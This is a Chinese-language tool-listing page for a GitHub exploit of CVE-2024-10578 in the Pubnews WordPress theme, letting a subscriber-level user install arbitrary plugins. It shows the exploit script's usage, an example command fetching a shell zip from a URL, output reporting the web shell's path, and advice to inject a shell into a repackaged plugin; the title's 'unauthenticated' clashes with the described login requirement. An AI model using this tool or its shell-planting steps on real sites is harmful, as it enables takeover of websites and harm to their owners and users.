Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-10578 — Pubnews <= 1.0.7 - 未认证的任意插件安装 | Kitploit
工具/GitHubGitHub/nxploited/cve-2024-10578
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育Payload 开发
GitHubnxploited/cve-2024-10578

CVE-2024-10578

Pubnews <= 1.0.7 - 未认证的任意插件安装

查看仓库
11年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-10578: Pubnews <= 1.0.7 - 未经认证的任意插件安装

描述

Pubnews WordPress 主题在所有版本(包括 1.0.7)中,由于 pubnews_importer_plugin_action_for_notice() 函数缺少权限检查,导致存在未经授权的任意插件安装漏洞。此漏洞允许拥有订阅者级别及以上的已认证攻击者安装任意插件,进而可利用这些插件来利用其他漏洞。

CWE

  • CWE-434: 危险类型文件的不受限制上传

CVSS

  • 评分: 8.8 (高危)
  • 版本: 3.1
  • 向量字符串: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

利用脚本:wordpress_exploit.py

此脚本利用 Pubnews 主题中的漏洞,从提供的 URL 安装任意插件。该插件可包含恶意 Shell 或其他载荷。

用法

root@kitploit:~

CVE-2024-10578.py [-h] -u URL -un USERNAME -p PASSWORD -url_zip PLUGIN_URL

Pubnews <= 1.0.7 - 未经认证的任意插件安装 # 由 Nxploited, Khaled alenazi 编写

选项:
  -h, --help            显示此帮助信息并退出
  -u, --url URL         WordPress 网站的 URL
  -un, --username USERNAME
                        WordPress 登录的用户名
  -p, --password PASSWORD
                        WordPress 登录的密码
  -url_zip, --plugin_url PLUGIN_URL
                        要安装的插件 URL(必须是一个包含注入 Shell 的 zip 文件)

示例

root@kitploit:~
python 
CVE-2024-10578.py -u http://target/wordpress -un admin -p admin -url_zip http://target/shell1.zip

输出

root@kitploit:~
[+] 登录成功。
[+] 提取到管理员 _wpnonce:6bf22371ab
[+] 插件安装成功。
[+] 插件已解压。您可以在以下位置找到 Shell:/wp-content/plugins/shell1/

重要说明

  • 插件 URL 必须是指向包含 Shell 或其他载荷的 zip 文件的直接链接。
  • 建议使用任意现有 WordPress 插件,将 Shell 注入其中,然后重新打包为 zip。将此 zip 文件上传到可直接访问的链接以进行利用。

⚠️ 免责声明

此脚本仅用于教育目的。作者不鼓励将其用于非法活动。请负责任地使用,并且仅用于您明确授权测试的系统。

作者:Nxploited | Khaled Alenazi

下载工具